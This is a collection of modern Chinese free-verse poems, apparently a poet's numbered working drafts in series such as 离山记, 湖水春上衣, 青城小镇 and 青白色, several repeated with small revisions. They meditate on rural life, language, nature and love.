松鼠呵，请打开我生茧的耳 告诉我吧，在这明媚阳光里 尘世直射，尘土飞扬，衰老 同样参与。 离山记四1830 《离山记四》 谁阿，如果她并不感到厌倦 她曾经也有过欢喜的时候。 那些朦胧的雾气，掩映道路。 在我的面前，在我不久之后。 一个词语:目光。命运之后的 另外一个事物，是谁的命运？ 谁如此感激你，就像拜托我。 农村妇女你最初的美丽动人， 像山间清新空气和梯田青草。 言语尽头的月亮是悄挂，在 春天的树梢，你皮肤的温度 像春天一般稳定，语言流逝 什么在这之外，好像是有的 因此没有，就像在黑暗里面 影子摇摇晃晃，影子里面我 的心灵。 离山记四1831 《离山记四》 谁阿，如果她并不感到厌倦 她曾经也有过欢喜的时候。 那些朦胧的雾气，掩映道路。 在我的面前，在我不久之后。 一个词语:目光。命运之后的 另外一个命运，是谁的命运？ 谁感激你，用那高调拜托我。 农村妇女你最初的美丽动人， 像山间清新空气和梯田青草。 言语尽头的月亮是悄挂，在 春天的树梢，你皮肤的温度 像春天一般稳定，语言流逝 什么在这之外，好像是有的 因此没有，就像在黑暗里面 影子摇摇晃晃，影子里面我 的心灵。 离山记五1832 《离山记五》 ———傍晚里有某样东西， 人跟存在乐章矛盾，冲突。 颠倒重置，你的眉目局促 难不成确实如此，伴随着 你希望的目光，和解随之 发生？这并不都是我与自我， 当它被我最终认定的企图 就像车前草叶子对于风的 打扰。为这风扑尘尘而在于 人这里零碎，而它们因此有 不足够的真相:语言环绕， 美丽而重复。人呵，劳作者 妇女。梯田的山脚下，是 简陋的居所，一生被看到。 人世这样来表现语言般的 它自己，花朵受难，河水 流经我思想谷地的脆弱。 离山记六1833 《离山记六》 为什么命运离开了， 复回了来。木门破旧 仿佛不可说源自于 想要说，表达为何？ 难不成屋子里面住着 生灵，一具肉身为基础。 呵，落叶繁花，已是三月 四季轮转，你圆圈的车轮 荒芜，就去开垦，它是锄头 中，当下挥舞的那一时刻。 黎明时分，随后日升三杆 揉揉睡眼惺忪，我在你的 寒暄之后离开了，经过一条 河流，才想了起来，因为 自己，这与你的共享，分享 包括隐秘————复又之中 为新，沉默中住着问者？ 离山记七1834 《离山记七》 为什么命运离开了， 复回了来。命运的假象 当做了你脸庞上的模样。 在文字的世界里面， 表情拿过来使用， 我们都有所客套含蓄。 不可言说者所听起来 正如同绝对的陌生 它从众多的陌生而来。 它如同行人，我的陌生者 仅仅以街道上面的行走 穿梭，像风春季惊动了 树木。在这毫无生机的 两旁而错误的比喻，以及 瞬间由它们来组成。而离开 者的这一情绪以荒诞来表达 并且更加的浓烈于空虚，寂寞 欲望，当他带着满心的关系 并且从高高的山上向下眺望 城市的灯火阑珊，山后面 巨大现代化阴影。对于人类 届已完成，无论从哪一个方向。 而对于初生者，村庄里面的 小牛犊。吃草的羊群星星点点 或者那远远的超出就已经回来 在与现代主体作为一种被提及 和比拟，比较的量尺，两种事物 的差异，空气般的透明，以及思 想，它注定的被袭扰为人的一生。 离山记八1835 《离山记七》 为什么命运的离开的论辩， 以复回来了像我深陷某物。 天色将暗，傍晚翩然而至。 沿街两旁有很多快餐小店 我的肚子咕咕叫感到饥饿。 而那些，我并不是仅仅指 眼前的落日，它美丽动人 或者人来人往中，去造成 眼神的困难，在看中你遮 住另外的那一个了。在个 出售便宜饭菜的小店铺 门口用简单的马扎四方桌 四个马扎搭配一个四方桌 人们排队，挤压我的具体 每当间接事物的替代，人们 在生活里面的无奈，相互交织 像云彩，而它的五光十色的更多 和更加的难以去猜疑，弄清楚。 对于我所喜欢者，在故乡的桌上 静物衰老，新鲜的四季之春，为枯 萎所做的序曲。吟唱者从未曾听过 西方，唱诗班仅只是神秘和空气般。 次序颠倒，我呼喊你，众人回头 或者困顿的饥饿之人，为更丰富者 有时候为其他，像随后的夜晚之空白。 离山记八1836 《离山记八》 为什么命运的离开的论辩， 以复回来了像我深陷某物。 天色将暗，傍晚翩然而至。 沿街两旁有很多快餐小店 我的肚子咕咕叫感到饥饿。 而那些，我并不是仅仅指 眼前的落日，它美丽动人 或者人来人往中，去造成 眼神的困难，在看中你遮 住另外的那一个了。在个 出售便宜饭菜的小店铺 门口用简单马扎和四方桌 四个马扎搭配一个四方桌 人们排队，挤压我的具体 每当间接事物的替代，人们 在生活里面的无奈，相互交织 像云彩，而它的五光十色的更多 和更加的难以去猜疑，弄清楚。 对于我所喜欢者，在故乡的桌上 静物衰老，新鲜的四季之春，为枯 萎所做的序曲。吟唱者从未曾听过 西方，唱诗班仅只是神秘和空气般。 次序颠倒，我呼喊你，众人回头 或者困顿的饥饿之人，为更丰富者 有时候为其他，像随后的夜晚之空白。 离山记九1837 《离山记九》 触摸，接着遇见像是奇迹，错误。 像种下一片人会消失不见的树林。 春风吹动水波，但同时带来褶皱。 树木叶子绿色，但人类之心跳动。 我愿意一直都这样，直到作为它 而它的起点来自于远处，神秘的 猜测与比喻的丝绸难免会消失掉。 而在这里，语言，是被点燃的火焰 气温升高春之夜晚，依然合乎时宜。 语言的湿地，这个夜晚浪漫的错误 的耽搁，仿佛永远都会结束的产生 在于那些短瞬，奇迹的时刻如果以 推开了语言的方式，在白天存在着。 种卖莲藕的小镇，山脚下两条山路 村民像远景中蚂蚁对远景的啃食， 忽作远来客，那么你又在哪里永恒 何种回忆，要么倾覆，谈资般的形 在现实与虚幻共存。你心地善良如 夜晚，如白天，你下行到自己因我 而来的事物，你在自己的身体里面 又语言一般的破土而出，破体而出。 你始终的不能为你，在于是当中， 并且驻留，行走。 离山记九1838 《离山记九》 触摸，接着遇见像是奇迹，错误。 像种下一片人会消失不见的树林。 春风吹动水波，但同时带来褶皱。 树木叶子绿色，但人类之心跳动。 我愿意一直都这样，直到作为它 而它的起点来自于远处，神秘的 猜测与比喻的丝绸难免会消失掉。 而在这里，语言，是被点燃的火焰 气温升高春之夜晚，依然合乎时宜。 语言的湿地，这个夜晚浪漫的错误 的耽搁，仿佛永远都会结束的产生 在于那些短瞬，奇迹的时刻如果以 推开了语言的方式，在白天存在着。 种卖莲藕的小镇，山脚下两条山路 村民像远景中蚂蚁对远景的啃食， 忽作远来客，那么你又在哪里永恒 何种回忆，要么倾覆，谈资般的形 在现实与虚幻共存。你心地善良如 夜晚，如白天，你下行到自己因我 而来的事物，你在自己的身体里面 又语言一般的破土而出，破体而出。 你始终的不能为我，在于是当中， 并且驻留，行走。 离山记十1839 《离山记十》 一棵樱桃树的果实之空的充实， 红艳艳的，像等谁回来的假象。 多么的危险，却同样多么热烈 那些热烈以危险的模样，以及 平静，一颗心同样也是如此的。 而对于周遭的环境，这样子的 一切它如此宁静。譬如，你这位 位于女子她的柔软和消逝，并且 在于我的言语前方。三月垂柳， 井水清澈，甘甜。樱桃树，依旧 艳丽，假象在卷起尘土的山坡上， 风已离开，留下是巨大的悄然。 离山记十一1840 《离山记十一》 湖南诗人张枣偶有所言于失， 我无法确定下来，世界之远。 消息因此只是一些暗淡光线 本身。所以书信无妄，颓然。 鸟群之下所曾经在于失去的， 如今，集市重开买一个新的。 唯有时间，种种做着嬉戏的 幻象。这没有什么新鲜，你带 着不情愿？门虚掩着，结实。 万物和世界将把重复单调的 展示。如果停留本身为真， 或者它假的谈论，话语如同 砖窑里新出土的红砖。为建设 者们共同却纷纷于这孤独的 分离之夜，你所于偶然之间 才可以的吟诵，唱响。那么 歌谣对于我而言是陌生不熟， 对于这思维透着风，简陋如 农民和工人常常把绿色护网 使用。大自然使用于更加具体 新鲜的浣女等待着劳作之脏 我等待着你如一个神秘的暗喻 或者一个道路，我就饮酒迷失。 我有三颗脑袋，朝向自己摘果 于审视和不被发现，才有了坦白。 离山记十一1841 《离山记十一》 湖南诗人张枣偶有所言于失， 像高枝于我，世界因此之远。 消息因此只是一些暗淡光线 本身。所以书信无妄，颓然。 鸟群之下所曾经在于失去的， 如今，集市重开买一个新的。 唯有时间，种种做着嬉戏的 幻象。这没有什么新鲜，你带 着不情愿？门虚掩着，结实。 万物和世界将把重复单调的 展示。如果停留本身为真， 或者它假的谈论，话语如同 砖窑里新出土的红砖。为建设 者们共同却纷纷于这孤独的 分离之夜，你所于偶然之间 才可以的吟诵，唱响。那么 歌谣对于我而言是陌生不熟， 对于这思维透着风，简陋如 农民和工人常常把绿色护网 使用。大自然使用于更加具体 新鲜的浣女等待着劳作之脏 我等待着你如一个神秘的暗喻 或者一个道路，我就饮酒迷失。 我有三颗脑袋，朝向自己摘果 于审视和不被发现，才有了坦白。 离山记十二1842 《离山记十二》 我摘下眼睛之所愿意是， 空的世界和夜晚的世界， 室内之钟，及平缓步伐。 什么样的回答，你我的 共存，我像某人的自Y？ 你愿意做聋哑人的翻译 :结束如此无形，它的偶 有的尚未曾。那么开始 就同时在虚妄和重复中， 人如此给它的构造出来。 所有丢失的都在于补齐， 时间绵延里面的群山和 人自我的幻象，甚至于 过多的观望对于那临高 之远，在迷雾的清晰晨光， 没有的错过，以及神秘之 唯有的途径，对于湖水的 形成。如果人携带着并且 有所于空，作为某个物的 他的那丰满，正如同春上 衣，或者绝对的不可能而 施行，如春天的茂密，脱落 之必然，于我所祈求于说 它由来于渴望以及转向之徨 为脆弱者于我们大家自身， 作为久远而人之赤身裸体 那并不是别的，我并不借此 区分，一种徐徐弥合，湖水 的修辞——翠绿色的一双手。 湖水春上衣一1843 《湖水春上衣一》 你正在满口吟哦，世界 和另外一个在其内部 某地。调转更困难了， 树木从未曾有过。我活着， 存在，流逝。河流推波助澜 的春水，一切都应该对应着 他人。那携带竖琴，那吟唱着 有关于我往生他的离开的时刻。 湖水春上衣二1844 《湖水春上衣二》 世界热爱着人一般的特点 像什么事物在，什么否定， 言辞的内心实则是很柔软 而迷途的老马，主人温柔。 在雪的尽头山峰之门打开， 如果我并不带着徨息惊讶 红色的头巾，偏北的南风 温度里面爱情的驱使像马 你又是如何呢，在草原和 那些偏离开来，并且回g 这个暮色跟许许多多一体， 仿佛你就在一个陌生名字 里面住了下来，早晨之前 你成为了另外的那一个人 只有老马识途却不识得爱， 只有你，共饮与欢畅，爱情 和举杯，邀明月而明月冷漠 不理者所作于我和你的脸庞 每当那被围绕物，或者并不 再是了的，正如同晨间的走 甩脱了酒水，并且回忆，每当 这样的夜晚，丰富性来源的 具体的解释，被遗忘者所赞美 姑娘，或者铭记，如草原和高原 之碑。 湖水春上衣三1845 《湖水春上衣三》 正在远去，正因 重复的像你的不相信 这一切的超出，或者 在于其他上面。但是 有一些困难，它们把人 而人，你借着它们把我 在这个盲目而金黄的傍晚。 而我所爱着，以它自身 尚未到达也是它们以群居的 形，从与人的谈论，那些有关 二来。或者不是，也不是语言 某种事物的更深一层，不是水 没有天空中的童话，干燥的被 预报。落叶有声，是我的脚步。 离山记十三1846 《离山记十三》 湖南诗人张枣偶有所言于失， 我无法确定下来，世界之远。 消息因此只是一些暗淡光线 本身。凭窗寄出无妄的书信。 鸟群之下所曾经在于失去的， 一双翅膀衰老，向前，迷乱。 唯有时间，种种做着嬉戏的 幻象。这没什么新鲜，你带 着不情愿？门虚掩着，结实。 万物和世界将把重复单调的 展示。如果停留本身为真， 或者它假的谈论，话语如同 砖窑里新出土的红砖。为建设 者们共同却纷纷于这孤独的 分离之夜，你所于偶然之间 才可以的吟诵，唱响。那么 歌谣对于我而言是陌生不熟， 对于这思维透着风，简陋如 农民和工人常常把绿色护网 使用。大自然使用于更加具体 新鲜的浣女等待着劳作之脏 我等待着你如一个神秘的暗喻 或者一个道路，我就饮酒迷失。 我有三颗脑袋，朝向自己摘果 于审视和不被发现，才有了坦白。 湖水春上衣四1847 《湖水春上衣四》 今天谁的名字也去向不明， 我心在不相信上感到寒冷。 这些矛盾已经器物般开始， 还在迷乱着我，误导着我 花儿，叶子，想花开堪折却 柔软呵把我的脸颊打疼了。 突然之间遗忘的才能遇见， 他什么都不知道，在一个 词语里面周转的狮子衰竭。 而地面竟如此向人的心灵， 在良善上面尚未曾抵达唇 它的那光怪陆离却隐隐的 正在逝去，而这里却是我的 全部对世界的表达，像孤独 于水而丰富者，却绝对不可 从那鱼儿一般惊跃。别的事 并不必在有必要的乐章上面 当那些开始已经徐徐开始， 在傍晚，如同迟迟才因为人和 你而到来的早晨，于是你窃笑 说出一个错误词语，一个糖果 和一个真理。而士兵的责任呵 他牢牢的守住，事实上已经是 遗忘般的解释了。纸有恋旧的 折痕，空荡荡，过河的语言， 与水相互混合。为路途究竟 有多远。在目的地如同一个 城镇的酒旗风，夜晚，也将继续， 一个心灵，你拿去。你要丰富于 世界贫苦当中的农夫，瓜贩，僧侣。 入梦的水难以拿捏，空指的瞬间 徒步过瓜田同样令人纠结，不堪。 湖水春上衣四1848 《湖水春上衣四》 今天谁的名字也去向不明， 我心在不相信上感到寒冷。 这些矛盾已经器物般开始， 还在迷乱着我，误导着我 花儿，叶子，想花开堪折却 柔软呵把我的脸颊打疼了。 突然之间遗忘的才能遇见， 他什么都不知道，在一个 词语里面周转的狮子衰竭。 而地面竟如此向人的心灵， 在良善上面尚未曾抵达唇 它的那光怪陆离却隐隐的 正在逝去，而这里却是我 全部对世界的表达，像孤独 于水而丰富者，却绝对不可 从那鱼儿一般惊跃。别的事 并不必在有必要的乐章上面 当那些开始已经徐徐开始， 在傍晚，如同迟迟才因为人和 你而到来的早晨，于是你窃笑 说出一个错误词语，一个糖果 和一个真理。而士兵般责任呵 他牢牢的守住，事实上已经是 遗忘般的解释了。纸有恋旧的 折痕，空荡荡，过河的语言， 与水相互混合。为路途究竟 有多远。在目的地如同一个 城镇的酒旗风，夜晚，也将继续， 一个心灵，你拿去。你要丰富于 世界贫苦当中的农夫，瓜贩，僧侣。 入梦的水难以拿捏，空指的瞬间 徒步过瓜田同样令人纠结，不堪。 湖水春上衣五1849 《湖水春上衣五》 火车开动，一种静物之深。 有什么在它的那一个时刻: “有什么大于这个世界，因此 不得不在小于自身中吗？”。 繁絮里埋藏了语言，我的话语 怎么在表达的途中成为了宝藏。 一切的指针陌生的铜锈般指向你 陌生人儿，你对这个世界的熟悉 知道几何？鸣鸡为回答，鸟群落日 \/ 请允许不饮酒之人的言谈，语言入诗， 入厅堂，你模样对自我的渴望:当眷恋 已经走远，你腹部肥胖，脸庞浑圆，被 这个时刻里面出来的亲戚朋友苛责着。 那么我的语言就是你的阴影:事物恋旧， 它们拥有了什么，在比喻和修辞当中， 以此所做徐徐前进。而离开的本质便人之 常情的来到。你也是紧贴我的另外一面。 \/ 我的鼻尖处，空气被搅动着。 我已经向着昨日桂花的倾斜。 如果我的存在，被自我嘲弄， 那么，他人鱼贯而行真的就 像眼睛美丽而街道思想般的 清新暗示。那么，词语和空气 我的芳踪不见于何处的爱人 \/ 苹果发着呆，因为火车一辆 之远的具体而近，语言里面 的困难，那转向尚且未有发生 的转向。槐树如阴一切正常， 自然的空隙从法国梧桐的林荫 馈赠:整个气候由人与人构成， 它那被修补的偏差，因此而来 的错误言论在难以避免那里。 所以，戛然而止的人和事物 携手于虚无，这就是我所谈 不谈，有失偏颇而臻于美， 苹果因为火车而在众多中跳跃 还乡的是死，正在分裂，我惊疑。 湖水春上衣六1850 《湖水春上衣六》 正在远去，正因为重复的像你 相信假。指针在不可移动于水 而迟来者也是幻象不如了自己 之深。这是个缺少称呼的时刻， 万物开始有了语言。语言重复于 伟大的，轻声细微。人们陷入绿的 幻象，长久不醒中的愿意准备去 冒犯心思，语言和人类。你的欢喜 与悲苦临近。一面墙由水中鱼盖起。 水波中的世界之月，太阳在他者的以 物。沉睡以语言的含蓄和沉默。眼睛 走向嘴唇，何其重要，鸟儿是树的枕头。 湖水春上衣七1851 《湖水春上衣七》 爱的准则抑或某一种事物。 以及它们的像，和某种光。 \/ 这些准则的来源，对哑然的 人们说。对于我，我渴望着 填饱肚子，可以吃的东西。 水果，葡萄，美味里却只有 饼，蘑菇炒瘦肉，思想一般。 \/ 从下往上，某个事物的必然性。 神奇温暖，阳光不久之后去哪。 而不必吐露者，肚子发出声音 我无法让它宁静，我也会说话。 湖水春上衣八1852 《湖水春上衣八》 没有人的地方，它像个描述。 没什么比之于鸟的骨骼挂枝。 而热烈形式丰富的自我诱惑， 用你眼睛的年轻碰碰空树枝。 世界宁愿待在小动物那里，不 在语言一方，我看到的我可以 表述。所以我有个可以去选择。 水库是真的，深，蓄水来，人们 偏偏热恋，如虚假对着枯竭，它 远方亲戚。真的，有时候我们就 在我们的身边，并且无法离开 无法脱身，那些慰藉般的语言 对于我们这个自己。我在水库 另外的一边，我不知道你的消息 世界是一分为二，山上种满桔树。 苏小小1853 《苏小小》 犹豫着直到那是确定的口吻。 遗失的词语那么由她来说出。 误解她的说出之中制造。柔软 的本质，腰肢纤细，柳枝的三月。 一个男人就是一个重复的需要必要， 一个在二者之间无法区分识别的人。 酒水之后，粗鲁，释放着彼此之间 并不契合的野性。误解:温柔的本质 凭借一盏灯像火焰越过傍晚的山岗 看看地上的天长地久。男子恍然大悟 化作了一段雾气。女人身影萧瑟， 你也只是一具空壳。刻在石碑上的文字 没有改变，正对着语言之水的西湖， 越过湖面，将一段爱情，偷偷的放在了 湖心岛那里。 湖水春上衣九1854 《湖水春上衣九》 你比你自己要更多，更丰富。 这是一个充满了隆起，褶皱 在平复中世界的潜藏吗？那些 一深一浅就成为了，语言和 语言的更深。成为暗喻的一切 都因为太阳光的直射，在故乡 使人联想到的土地。人对于一切 的事事相关，为何呢。这惆怅的 一张脸。这被新鲜水果一般解释 和投身，在桃子，青梨和樱桃里面， 为分担而出，如果语言般的矛盾与 困难，如果有了，那么于无。并且 现实不可消退的以人的躲避开来， 句式完整，里面之有的无和莫名。 你提问，空气含有过去的事物，翘首 以待的是我们的祖先。 湖水春上衣十1855 《湖水春上衣十》 一层层，就是挖的意思。 所以你为什么不开心呢。 那弓张是紧随其后的，因而 是喜悦的，它正卷起自己的 形，你用手擦拭玉石上泥土。 \/ 从你的心里面而不是让它 因此以事关着而叫做现实。 我们所爱，称呼或者沉默， 这个世界。都是为真这事情。 \/ 历史不会认清你，记得你， 一些哗哗流水，急匆匆的。 宝石再次形成，故乡很远。 湖水春上衣十一1856 《湖水春上衣十一》 你走动，是与远的这些关系， 在一张彼此平等的嘴唇里面。 你走动，森林似乎就不在于森 林。当一个词语不在于它自己， 正是在这样子的一些时刻。 仿佛光线真的不复返的一去了。 它辞别，推诿的言语给我困难。 同在的暮色森林，迷瘴，藤蔓， 未来西方哲人们对于此刻的谈论。 那些中断的光芒带有自然的属性， 眼前以不远处，湖水之波仿若思想 的丰富，庞杂。真的，一个人就可以 让世界为之一振，并且远远由远处 来交织，像这样就如同人类的肖像画 一样，如果近距离是不需要解释的。 而在于呼气和吸气的平缓，也可以 是其他，你所尚未是的事物，那些 世界的奥秘才如此袒露，我们为隐藏 而来语言的工作，在劳作之中或者 脱离开来了，在于此，或者幽暗的 森林。那些也还有其他的时刻，正是 行走在森林当中。 湖水春上衣十二1857 《湖水春上衣十二》 我的手总是想超出自己， 总是十根手指地久天长， 时间充裕从这头到达的 它含义的停留，因而意思 弃之不顾或者是别的，那些 云晴朗与白色里面藏着 黑色:与人有关。真是个 奇怪的世界，如果我去观察 正赶上了休班，周末，有空 却百无聊赖，我这样愿意去 虚度的方式对于别人却不愿意。 我看不到自己的眼睛一般，门口 他山之石为同样二层小楼下的 铁质大门。我还是看不到久远 看的旅途，上面植物，动物和石头 对于世界的轻易转换，在人类语言 善意的抚慰当中，那固定不动 一开始的明谋。直到它被塑造 下午有夜班的泥瓦匠师傅， 不小心出门左拐踩死一只蚂蚁。 为建设者所来，来到了他那里的 道德困境，有着这礼物一般的空壳， 他正转向，走远，我思索了一阵。 湖水春上衣十三1858 《湖水春上衣十三》 尺子丢进哪一片草丛里了， 才可以为了维护人的尊严 这男人一般，对那个随意 之虚无的测量。它缺失于人 就像匮乏于人的过度。即使 那些训诫般的手指像曾经的 生长——散指，绿叶。为花， 花团锦簇而赞美不可少。所以 我没有问你你就偷着乐吧。 别再叭叭的说个没完，我脾气 没那么好，凭窗了望的是打扫 卫生的保洁阿姨。不可量度的 一天，同样明天，和神秘附身 的清晨，黎明正在破晓，但从 大楼上看，那语言的旅途扼杀了 大自然之梦。 青城小镇1859 《青城小镇一》 如果使用转折来描述， 是否很多人会杀掉自我。 我嘴唇于问，人吃苹果， 云在天上，虚无随处见。 \/ 这是一个个世界， 过马路是小蚂蚁学不会的。 它悄悄地收回死亡的四肢， 随后进入我目光的毫无觉察。 \/ 孩子你噪音般于我耳际远去， 解释的世界，难以吐露上面。 天气预报预报的是下一刻的 风向，而不是人类自身。 青城小镇二1860 《青城小镇二》 同样硕果累累，我没有 想到我们竟会如此亲昵 :虚无里面，一棵树同样 硕果累累。 \/ 我需要很久，人的准则的 行走同它自身道路一样。 语言如水波手儿鞠起中， 或者落下，并不徒劳于 水的源泉。 \/ 我们随后所讲的丰富性 以及它的指向，一轮 朗月星稀将贫瘠映照 你摸我的心，贴在我的 胸膛上，晨雾中一艘小船 徐徐而行，缓缓前进。 \/ 船上，我吃苹果 你吃着语言中的苹果。 青城小镇三1861 《青城小镇三》 一种方法论就是一朵水花， 是否很多人杀掉那个自我。 我嘴唇于问，人爱吃苹果， 云在天上，随处见到的虚无。 \/ 这是一个个世界， 过马路是小蚂蚁学不会的。 它悄悄地收回死亡的四肢， 随后进入我目光的毫无觉察。 \/ 建筑物庞大的来源，它近邻 因为远而忽大忽小，人类的 这些自我走动的影子，随后 在说出里面将这一切都解释。 青城小镇四1862 《青城小镇四》 以有而二，单一的形， 我的问题是大有何用。 \/ 若一间小屋于新，实则 一片土地建设中转了向。 \/ 问题，只是一阵春天的风？ 我扛起锄头，山坡桃花开。 \/ 语言在我的舌苔底部发酵， 我的鼻子闻到了桃花香气。 青城小镇五1862 《青城小镇五》 世界正逐渐的越来越小， 包括它自己的缩小本身。 \/ 向人们在清晨投递的消息， 是易逝，你说出空气清新。 \/ 抚琴者妄图命令一朵水花， 透过水面让世界颠覆倒置。 \/ 今晨一来，鸭子们呱呱呱的 像一只仙鹤。世界不仅仅是 \/ 物理的，当它仅仅以物理的。 嘴唇是对你的期盼达到顶点 \/ 以后。北风呼啸，携带万千 相似的叶片，一路跌跌撞撞。 \/ 抵达某一处，像石头的讯息。 离开某处，石头才真正裸露。 \/ 人们正逐渐丰富他们自己于 这个世界，不约而同抵达的 贫瘠，至少我还有你这个人。 青城小镇五1863 《青城小镇五》 世界正逐渐的越来越小， 包括它自己的缩小本身。 \/ 向人们在清晨投递的消息， 是易逝，你说出空气清新。 \/ 抚琴者妄图命令一朵水花， 透过水面让世界颠覆倒置。 \/ 今晨一来，鸭子们呱呱呱的 像一只仙鹤。世界不仅仅是 \/ 物理的，当它仅仅以物理的。 嘴唇是对你的期盼达到顶点 \/ 以后。北风呼啸，携带万千 相似的叶片，一路跌跌撞撞。 \/ 抵达某一处，像石头的讯息。 离开某处，石头才真正裸露。 \/ 人们正逐渐丰富他们自己于 这个世界，不约而同抵达的 贫瘠，至少我，我是你的什么？ 青城小镇六1864 《青城小镇六》 对于那不可被提及的旁 边。一侧和前方以及四周 四面八方——已经是了 语言的领悟，你走进到 \/ 荷花小镇。忘了点什么 像宇宙般大事情在小中 源自于我问你一些东西 沉默在湖水里面正看我 \/ 不被思索和讨论的自己 提及当然因过去而重要 今天的风景微风般切割 我摘菜，种地，小院子， 不大不小，直通往木门。 青城小镇六1865 《青城小镇六》 对于那不可被提及的旁 边。一侧和前方以及四周 四面八方——已经是了 语言的领地，你走进到 \/ 荷花小镇。忘了点什么 像宇宙般大事情在小中 源自于我问你一些东西 沉默在湖水里面正看我 \/ 不被思索和讨论的自己 提及当然因过去而重要 今天的风景微风般切割 我摘菜，种地，小院子， 不大不小，直通往木门。 青城小镇五1866 《青城小镇五》 这逐渐越来越小的世界， 包括它自己的缩小本身。 \/ 向人们在清晨投递的消息， 是易逝，你说出空气清新。 \/ 抚琴者妄图命令一朵水花， 透过水面让世界颠覆倒置。 \/ 今晨一来，鸭子们呱呱呱的 像一只仙鹤。世界不仅仅是 \/ 物理的，当它仅仅以物理的。 嘴唇是对你的期盼达到顶点 \/ 以后。北风呼啸，携带万千 相似的叶片，一路跌跌撞撞。 \/ 抵达某一处，像石头的讯息。 离开某处，石头才真正裸露。 \/ 人们正逐渐丰富他们自己于 这个世界，不约而同抵达的 贫瘠，至少我，我是你的什么？ 青城小镇七1867 《青城小镇七》 我不去，便偏偏靠近了它。 那说出，就像我看中的塔。 和建筑物，或许它正在记忆 模糊，因为此而一边吃喝乐， 越来越像。车上充满了怀旧 的人群，说话没有主语结尾。 群体性，对于那同为一个的。 如果不是，现在正是把它们 也同样纳入其中。我感到这 不是真是，世界在我身体外面 语言不知所踪，我不愿去寻找 草地的世界展开，我是它的塔。 青城小镇六，修改1868 《青城小镇六》 对于那不可被提及的旁 边。一侧和前方以及四周 四面八方——已经是了 语言的领地，你走进到 \/ 荷花小镇。忘了点什么 像宇宙般大事情在小中 源自于我问你一些东西 沉默在湖水里面正看我 \/ 不被思索和讨论的自己 提及当然因过去而重要 今天的风景微风般切割 我摘菜，种地，小院子， 你在哪？暮色通往木门。 青城小镇八1869 《青城小镇八》 言语深入这个世界:这和此 世界枝丫因此是突然之间的。 \/ 那么一下子你怎么可以说呢 与你无关早不知不觉在向着 \/ 我和非我的转变。而恒定， 你对于它们的了解，通过了 \/ 称量的脑袋如今剩下了重复的 事物。剩下了辉月来自于太阳 \/ 太阳的白天，整个宇宙的明谋。 每天都在星汉下棋，夜晚降临。 \/ 我这个农村人，庄稼汉，所 于山巅放着羊了解这个世界。 \/ 流水无踪，惮于幽深而静谧， 蚂蚁应为某物，树投影巨大。 青城小镇九1870 《青城小镇九》 语言诞生了以后 总是在欺骗着我。 被废弃的水井艰难的 指向附近的桃树， 最隐秘者在一个 心情烦躁，心生怨气的 人那里，像夜晚世界 才从上往下，向度一般 以那虚无和空无。 我审视没有，最初的黑 最终的黑由不变的黑 二来，那么我呢， 如果一个个问题可以 将我阻挡，掩藏起来 或者不，像鱼儿为了 鱼饵才重新跃回故乡。 为什么呢，语言诞生后 就是现在这个情形， 那个被我所指定为在了 认定上面，如果为暂时 而歌，仿若浮舟， 语言诞生后附带了那对于 其中某种事物的因言而失。 青城小镇十1871 《青城小镇十》 语言诞生了以后 总是在欺骗着我。 被废弃的水井艰难的 指向附近的桃树， 最隐秘者在一个 心情烦躁，心生怨气的 人那里，像夜晚世界 才从上往下，向度一般 以那虚无和空无。 我审视没有，最初的黑 最终的黑由不变的黑 二来，那么我呢， 如果一个个问题可以 将我阻挡，掩藏起来 或者不，像鱼儿为了 鱼饵才重新跃回故乡。 为什么呢，语言诞生后 就是现在这个情形， 被我所指的同样 指定了自身那里 为何月色随着时间而幽暗， 有人怀抱浪漫， 有人成双成对， 拂衣我们都安静睡眠 并且这并不都是同一的东西。 我也热爱，如梦的幻境一般 :语言诞生后附带了那对于 其中某种事物的因言而失。 青白色一1873 《青白色一》 失败的制造同样时常在发生的单一 那里，或者需要用更大主要以时间 的方式，如环顾自己，遂蓬头垢面。 \/ 让我们可以回到而现实不过是映照 或投影。以及我内心的窃喜如何呢， 才可以更明显的发现和感觉的含义。 \/ 说话，饮鸩止渴，走出刚迈进的院子。 一个伟大背影佝偻而弯曲，“他”对于 你的表示，你走进屋子里喝桌上茶水。 \/ 我将会星月一般当它被微小注视着， 你讲到说出来的会再次否定般识破。 \/ 你和我之间的有时也是天地的含义， 槐花怒放从屋外向着湖对岸的山坡 像人的视线，桃花注视着，你语言着。 青白色二1874 《青白色二》 世界都在我的提问中 无一遗漏，这是它们 的与之相反，也可以 被称作语言和言语正 一点点的丧失 :而在那些起点的地方， 终点正如同了我们自己 世界匍匐，像万物宵禁 后，挂在了树上的灯笼。 青白色三1875 《青白色三》 是否我们已经作为之所是 从那些挑选，世俗般发出， 碰撞的声音继续对于人 的消耗是无形的。甚至 在言语的迷途上扎根，与 那舌苔的底部同在，在声音 的源头向人世间悄然作布撒。 如果说事实的真相是可以打碎 一面镜子，从市集穿过弯曲的 小巷，直到它觉得于自我的 真正完成上面。实则它等待着你。 如果所谓的源头与大江大河的 源头同一，而并无二致是随后 生活里的经验，一朵白色的浪花 里面，住着红褐色的鲤鱼。森林 有或者历史一般无在它的名字 称谓者本身，或者一张脸的憔悴 那么，对于未曾完结者仿佛正 准备着，当历史如一条大河 我们的激荡着困惑和答案的内心 这个离我们而去者使得了我们 将会如何呢，当群星璀璨，萦绕 同样的问题仅仅只是事物的表面。 青白色四1876 《青白色四》 升起时的太阳暂不会落下 同一时间的远，以看钟表 盘上面的指针它何其隐秘 就像那个人儿此刻的心灵 \/ 飞蛾命运的存在在江南的中途 那对我们语言般不停的逼迫着 我时刻准备以松松垮垮的懈怠 当我我吐露出来这尝试性相关 它听完了，对自己的倾听未完。 \/ 背包如包袱，我看到了阴影后面 源头于水的野花更为悲惨的衰败 和凋零，一个整体的世界是统一 投身的含义，在它未有完成上面 的这种具体，或者我谈到了并且 并不相信，真的，有很多的东西 都被带走了，那些个声音又回来 诘问着，人类一般的。 青白色四1877 《青白色四》 升起时的太阳正脱离大地， 在同一时间，远以看钟表 盘上面的指针它何其隐秘， 就像那个人儿此刻的心灵。 \/ 飞蛾命运的存在在江南的中途， 那对我们语言般不停的逼迫着。 我时刻准备以松松垮垮的懈怠， 当我我吐露出来这尝试性相关。 它听完了，对自己的倾听未完。 \/ 背包如包袱，我看到了阴影后面， 源头于水的野花更为悲惨的衰败 和凋零。一个整体的世界是统一 投身的含义，在它未有完成上面 的这种具体，或者我谈到了并且 并不相信。真的，有很多的东西 都被带走了，那些个声音又回来 诘问着，仿佛人类一般的。 青白色物体1878 《青白色五》 升起来是为了大地上的什么？ 同一时间，遥远以看看钟表 盘上面的指针，它何其隐秘 就像那个人儿此刻的心灵。 \/ 